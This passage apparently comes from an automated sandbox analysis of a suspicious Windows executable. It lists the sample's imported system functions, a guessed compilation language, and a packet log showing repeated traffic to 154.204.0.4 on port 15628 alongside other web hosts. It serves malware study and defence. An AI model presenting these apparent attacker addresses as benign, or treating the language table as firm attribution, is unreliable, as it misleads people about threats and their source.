DefWindowProcA, GetMessageTime, GetMessagePos, PeekMessageA, DispatchMessageA, RegisterWindowMessageA, IsDialogMessageA, GetWindow, SetWindowLongA, GetWindowLongA, GetWindowTextLengthA, GetWindowTextA, SetWindowTextA, ScrollWindowEx, IsWindowEnabled, GetNextDlgGroupItem, MessageBeep, DrawFocusRect, LoadImageA, DrawIconEx, GetIconInfo, EnableScrollBar, HideCaret, InvertRect, NotifyWinEvent, CreatePopupMenu, GetMenuDefaultItem, SetLayeredWindowAttributes, EnumDisplayMonitors, OpenClipboard, SetFocus, GetDlgCtrlID, CloseClipboard, SetClipboardData, EmptyClipboard, DrawStateA, SetClassLongPtrA, SetWindowRgn, SetParent, DrawEdge, GetSysColor, EnableWindow, UpdateWindow, GetWindowRect, LoadIconW, UnregisterClassA, IsIconic, GetSystemMetrics, GetSystemMenu, AppendMenuA, DrawIcon, GetClientRect, GetMenuStringA, GetMenuState, GetSubMenu, GetMenuItemID, GetMenuItemCount, InsertMenuA, RemoveMenu, UnhookWindowsHookEx, IsWindow, GetKeyNameTextA, MapVirtualKeyA, GetDC, ReleaseDC, CopyRect, SendDlgItemMessageA, SetRectEmpty, OffsetRect, GetParent, UpdateLayeredWindow, GetFocus, CheckMenuItem, EnableMenuItem, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, SetMenuItemInfoA, LoadBitmapW, ShowWindow, MoveWindow, SetWindowPos, GetDlgItem, SetDlgItemInt, GetDlgItemInt, SetDlgItemTextA, GetDlgItemTextA, CheckDlgButton, CheckRadioButton, IsDlgButtonChecked, CopyIcon, FrameRect, LoadAcceleratorsA, TranslateAcceleratorA, DrawFrameControl, LoadMenuA, InsertMenuItemA, GetMenuBarInfo, UnpackDDElParam, ReuseDDElParam, RegisterClipboardFormatA, UnionRect, GetTabbedTextExtentW, GetTabbedTextExtentA, GetDCEx, DestroyCursor, GetWindowRgn, WindowFromDC, CreateMenu, InSendMessage, MonitorFromRect, SendNotifyMessageA, SubtractRect, TranslateMDISysAccel, DefMDIChildProcA, DefFrameProcA, DrawMenuBar, EnumChildWindows, GetUpdateRect, IsClipboardFormatAvailable, CharUpperBuffA, ModifyMenuA, GetDoubleClickTime, SetMenuDefaultItem, LockWindowUpdate, DestroyAcceleratorTable, CreateAcceleratorTableA, LoadAcceleratorsW, ToAsciiEx, GetKeyboardState, MapVirtualKeyExA, IsCharLowerA, GetKeyboardLayout, PostThreadMessageA, GetComboBoxInfo, MonitorFromPoint, SetMenu
GDI32.dll	DeleteObject, Escape, ExcludeClipRect, GetClipBox, GetClipRgn, GetCurrentPositionEx, GetObjectType, GetPixel, GetStockObject, GetViewportExtEx, GetWindowExtEx, IntersectClipRect, LineTo, OffsetClipRgn, PlayMetaFile, PtVisible, RectVisible, RestoreDC, SaveDC, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkMode, SetMapperFlags, SetGraphicsMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextAlign, SetTextJustification, PlayMetaFileRecord, EnumMetaFile, SetWorldTransform, ModifyWorldTransform, SetColorAdjustment, StartDocA, ArcTo, PolyDraw, SelectClipPath, SetArcDirection, ExtCreatePen, MoveToEx, TextOutA, ExtTextOutA, PolyBezierTo, PolylineTo, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectA, GetTextExtentPoint32A, CombineRgn, DeleteDC, SetRectRgn, DPtoLP, GetTextMetricsA, GetBkColor, GetTextColor, GetRgnBox, CreatePalette, GetNearestPaletteIndex, GetPaletteEntries, GetSystemPaletteEntries, RealizePalette, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesA, GetTextCharsetInfo, GetDIBits, SetPixel, StretchBlt, CreateDIBSection, SetDIBColorTable, CreateEllipticRgn, Ellipse, CreatePolygonRgn, Polygon, Polyline, CreateRoundRectRgn, LPtoDP, EnumFontFamiliesExA, Rectangle, OffsetRgn, GetCurrentObject, CreateFontA, GetCharWidthA, StretchDIBits, RoundRect, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, ExtFloodFill, SetPaletteEntries, SetPixelV, GetWindowOrgEx, GetViewportOrgEx, CloseMetaFile, CreateMetaFileA, DeleteMetaFile, EndDoc, StartPage, EndPage, AbortDoc, SetAbortProc, GetROP2, GetBkMode, GetNearestColor, GetPolyFillMode, GetStretchBltMode, GetTextAlign, GetTextExtentPointA, GetTextExtentPoint32W, GetTextFaceA, CreateSolidBrush, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateDIBPatternBrushPt, CreateCompatibleDC, BitBlt, GetObjectA, SetTextColor, SetBkColor, CreateBitmap, PatBlt, CreateRectRgnIndirect, GetDeviceCaps, CreateDCA, GetMapMode, SelectClipRgn, CopyMetaFileA
MSIMG32.dll	TransparentBlt, AlphaBlend
WINSPOOL.DRV	ClosePrinter, GetJobA, OpenPrinterA, DocumentPropertiesA
ADVAPI32.dll	RegEnumKeyA, RegSetValueA, GetFileSecurityA, SetFileSecurityA, RegEnumKeyExA, RegEnumValueA, RegOpenKeyExW, RegQueryValueA, RegCloseKey, RegSetValueExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegQueryValueExA, RegOpenKeyExA
SHELL32.dll	SHGetFileInfoA, SHAddToRecentDocs, ExtractIconA, ShellExecuteA, SHGetPathFromIDListA, SHGetSpecialFolderLocation, SHGetDesktopFolder, DragQueryFileA, DragFinish, ShellExecuteExA, SHAppBarMessage, SHBrowseForFolderA, SHGetMalloc, SHGetSpecialFolderPathA
COMCTL32.dll	ImageList_ReplaceIcon
SHLWAPI.dll	PathFindFileNameA, PathRemoveExtensionA, UrlUnescapeA, PathStripToRootA, StrFormatKBSizeA, PathRemoveFileSpecW, PathIsUNCA, PathFindExtensionA
UxTheme.dll	GetThemePartSize, GetThemeSysColor, DrawThemeText, DrawThemeParentBackground, OpenThemeData, CloseThemeData, DrawThemeBackground, GetThemeColor, GetCurrentThemeName, IsThemeBackgroundPartiallyTransparent, GetWindowTheme, IsAppThemed
ole32.dll	RevokeDragDrop, RegisterDragDrop, OleGetClipboard, PropVariantCopy, CoRegisterClassObject, CoRevokeClassObject, CoRegisterMessageFilter, OleSetMenuDescriptor, OleLockRunning, StgCreateDocfile, StgOpenStorage, CoInitialize, CreateFileMoniker, OleCreateMenuDescriptor, OleDestroyMenuDescriptor, OleTranslateAccelerator, IsAccelerator, OleRegGetMiscStatus, OleRegEnumVerbs, WriteClassStm, GetHGlobalFromILockBytes, CreateGenericComposite, CreateItemMoniker, OleCreate, DoDragDrop, OleIsCurrentClipboard, OleFlushClipboard, OleSetClipboard, OleCreateFromData, OleCreateLinkFromData, OleUninitialize, OleInitialize, CoFreeUnusedLibraries, OleRun, CoInitializeEx, CreateStreamOnHGlobal, CreateILockBytesOnHGlobal, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CoGetClassObject, CoDisconnectObject, StringFromGUID2, CLSIDFromProgID, CLSIDFromString, CoCreateInstance, CoCreateGuid, CoUninitialize, SetConvertStg, OleRegGetUserType, ReleaseStgMedium, OleDuplicateData, ReadFmtUserTypeStg, WriteFmtUserTypeStg, CreateBindCtx, CoTreatAsClass, WriteClassStg, ReadClassStg, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID, OleCreateStaticFromData, OleCreateLinkToFile, OleCreateFromFile, OleLoad, OleSave, OleSaveToStream, OleSetContainedObject, OleGetIconOfClass, CreateDataAdviseHolder, CreateOleAdviseHolder, GetRunningObjectTable, OleIsRunning, CoGetMalloc, StgIsStorageFile, OleQueryLinkFromData, OleQueryCreateFromData, CoLockObjectExternal
OLEAUT32.dll	RegisterTypeLib, SysStringLen, SysReAllocStringLen, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayAllocDescriptor, SafeArrayAllocData, SafeArrayCreate, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayDestroy, SafeArrayRedim, SafeArrayGetDim, SafeArrayGetElemsize, SafeArrayGetUBound, SafeArrayGetLBound, LoadRegTypeLib, SafeArrayUnlock, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayGetElement, SafeArrayPutElement, SafeArrayCopy, SafeArrayPtrOfIndex, VariantCopy, VarDateFromStr, SysStringByteLen, VarCyFromStr, VarBstrFromCy, VarBstrFromDate, VarBstrFromDec, VarDecFromStr, OleCreateFontIndirect, SysAllocString, LoadTypeLib, VariantChangeType, VariantClear, SysFreeString, VariantInit, SysAllocStringByteLen, SafeArrayLock, SysAllocStringLen
oledlg.dll
WS2_32.dll	WSACleanup, WSASetLastError, WSAGetLastError, WSAAsyncSelect, WSAStartup, setsockopt, accept, bind, closesocket, connect, getpeername, getsockname, htonl, htons, inet_addr, inet_ntoa, ntohs, recv, recvfrom, select, send, sendto, socket, gethostbyname
gdiplus.dll	GdipDrawImageI, GdipCreateBitmapFromHBITMAP, GdipCreateFromHDC, GdipSetInterpolationMode, GdipDrawImageRectI, GdiplusShutdown, GdipAlloc, GdipFree, GdipBitmapUnlockBits, GdiplusStartup, GdipCloneImage, GdipBitmapLockBits, GdipCreateBitmapFromScan0, GdipCreateBitmapFromFileICM, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromFile, GdipCreateBitmapFromStream, GdipGetImagePaletteSize, GdipGetImagePalette, GdipGetImagePixelFormat, GdipGetImageHeight, GdipGetImageWidth, GdipGetImageGraphicsContext, GdipDisposeImage, GdipDeleteGraphics
OLEACC.dll	AccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject
WININET.dll	InternetOpenA, InternetCloseHandle, InternetConnectA, InternetOpenUrlA, InternetReadFile, InternetErrorDlg, InternetGetCookieA, InternetSetCookieA, HttpQueryInfoA, HttpEndRequestA, HttpSendRequestExA, HttpSendRequestA, HttpAddRequestHeadersA, HttpOpenRequestA, GopherGetAttributeA, GopherOpenFileA, GopherFindFirstFileA, GopherCreateLocatorA, FtpCommandA, FtpGetCurrentDirectoryA, FtpSetCurrentDirectoryA, FtpRemoveDirectoryA, FtpCreateDirectoryA, FtpOpenFileA, FtpRenameFileA, InternetCrackUrlA, InternetSetFilePointer, FtpDeleteFileA, FtpPutFileA, FtpGetFileA, FtpFindFirstFileA, InternetSetStatusCallback, InternetGetLastResponseInfoA, InternetSetOptionA, InternetQueryOptionA, InternetFindNextFileA, InternetQueryDataAvailable, InternetWriteFile, InternetCanonicalizeUrlA
IMM32.dll	ImmReleaseContext, ImmGetOpenStatus, ImmGetContext
WINMM.dll	PlaySoundA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 11:52:37.858810902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:52:37.863861084 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:52:37.867470980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:52:37.868513107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:52:37.873359919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:52:38.763931036 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:52:38.823854923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:52:39.110984087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:52:39.116101980 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:52:39.425390959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:52:39.477559090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:09.245526075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:09.250632048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:16.431551933 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:16.437482119 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:16.437592983 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:16.546035051 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:16.550929070 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:17.361038923 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:17.570550919 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:17.570646048 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:17.702136040 CEST	49719	53	192.168.2.5	8.8.8.8
Jul 20, 2024 11:53:17.707523108 CEST	53	49719	8.8.8.8	192.168.2.5
Jul 20, 2024 11:53:17.707612038 CEST	49719	53	192.168.2.5	8.8.8.8
Jul 20, 2024 11:53:17.709289074 CEST	49719	53	192.168.2.5	8.8.8.8
Jul 20, 2024 11:53:17.715987921 CEST	53	49719	8.8.8.8	192.168.2.5
Jul 20, 2024 11:53:17.719253063 CEST	49719	53	192.168.2.5	8.8.8.8
Jul 20, 2024 11:53:17.779469013 CEST	49721	443	192.168.2.5	142.250.185.100
Jul 20, 2024 11:53:17.779520035 CEST	443	49721	142.250.185.100	192.168.2.5
Jul 20, 2024 11:53:17.779602051 CEST	49721	443	192.168.2.5	142.250.185.100
Jul 20, 2024 11:53:17.789253950 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 11:53:17.789304972 CEST	443	49722	5.255.255.77	192.168.2.5
Jul 20, 2024 11:53:17.789501905 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 11:53:17.803963900 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 11:53:17.804023981 CEST	443	49722	5.255.255.77	192.168.2.5
Jul 20, 2024 11:53:17.804114103 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 11:53:17.804316998 CEST	49721	443	192.168.2.5	142.250.185.100
Jul 20, 2024 11:53:17.804400921 CEST	443	49721	142.250.185.100	192.168.2.5
Jul 20, 2024 11:53:17.804451942 CEST	49721	443	192.168.2.5	142.250.185.100
Jul 20, 2024 11:53:17.805143118 CEST	49723	443	192.168.2.5	103.235.46.96
Jul 20, 2024 11:53:17.805205107 CEST	443	49723	103.235.46.96	192.168.2.5
Jul 20, 2024 11:53:17.805377960 CEST	49723	443	192.168.2.5	103.235.46.96
Jul 20, 2024 11:53:17.809386015 CEST	49723	443	192.168.2.5	103.235.46.96
Jul 20, 2024 11:53:17.809448004 CEST	443	49723	103.235.46.96	192.168.2.5
Jul 20, 2024 11:53:17.809669018 CEST	49723	443	192.168.2.5	103.235.46.96
Jul 20, 2024 11:53:18.061170101 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:18.125468969 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.125468969 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.125504971 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.125514030 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.125572920 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.125792027 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.126312971 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.126351118 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.126416922 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.145420074 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.145433903 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.146012068 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.146023035 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.146882057 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.146903038 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.199502945 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:18.227613926 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:18.232584000 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:18.327490091 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:18.327543020 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:18.327660084 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:18.329441071 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:18.329458952 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:18.557111025 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:18.557184935 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:18.893799067 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.893910885 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.895633936 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.895714045 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.911236048 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.911310911 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.922816992 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.922836065 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.922952890 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.923331022 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.923340082 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.926429987 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.926439047 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.926641941 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.926646948 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.926708937 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.944339991 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.944361925 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.944541931 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.944546938 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.944735050 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:18.988542080 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.988569021 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:18.988579035 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.072062969 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.072083950 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.097820044 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.255914927 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.353468895 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.353616953 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.353746891 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.354125977 CEST	49727	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.354137897 CEST	443	49727	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.354583025 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.354856968 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.354943037 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.355998993 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.356023073 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.356034994 CEST	49726	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.356043100 CEST	443	49726	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.380983114 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:19.381094933 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:19.381684065 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:19.381809950 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:19.386501074 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:19.386518955 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:19.386755943 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:19.386850119 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:19.387480974 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:19.387528896 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:19.387605906 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:19.389146090 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:19.389164925 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:19.405834913 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.405942917 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.406013966 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.411505938 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.411519051 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:19.411529064 CEST	49725	443	192.168.2.5	108.138.24.227
Jul 20, 2024 11:53:19.411535978 CEST	443	49725	108.138.24.227	192.168.2.5
Jul 20, 2024 11:53:20.673149109 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:20.673261881 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:20.674877882 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:20.674909115 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:20.675147057 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:20.675208092 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:20.675741911 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:20.675775051 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:20.676037073 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:20.676728010 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:20.676742077 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:23.123295069 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:23.123399019 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:23.125562906 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:23.125572920 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:23.125834942 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:23.125895023 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:23.126260042 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:23.126322985 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:23.126386881 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:23.126962900 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:23.126980066 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:23.241235018 CEST	49718	80	192.168.2.5	18.139.183.38
Jul 20, 2024 11:53:23.246258974 CEST	80	49718	18.139.183.38	192.168.2.5
Jul 20, 2024 11:53:24.145344973 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:24.145467043 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.147901058 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:24.148355961 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.148471117 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.148499966 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:24.149688959 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:24.149719000 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.149761915 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.149787903 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:24.149895906 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.150872946 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:24.150923014 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.178966999 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.179079056 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.181579113 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.181655884 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.181977987 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.182009935 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.182465076 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.182585955 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.182930946 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.182992935 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:25.183063030 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.183737993 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:25.183758974 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:26.223938942 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:26.224195957 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.244549036 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.244601011 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:26.245830059 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:26.245903969 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.247101068 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.247117996 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:26.247334003 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.249283075 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:26.249294043 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:27.251122952 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:27.251405954 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:27.252778053 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:27.252784967 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:27.252996922 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:27.253062963 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:27.255343914 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:27.255443096 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:27.256005049 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:27.256653070 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:27.256690979 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:28.538906097 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:28.539028883 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.542057037 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.542095900 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:28.542435884 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:28.542514086 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.543450117 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.543566942 CEST	443	49737	23.98.101.155	192.168.2.5
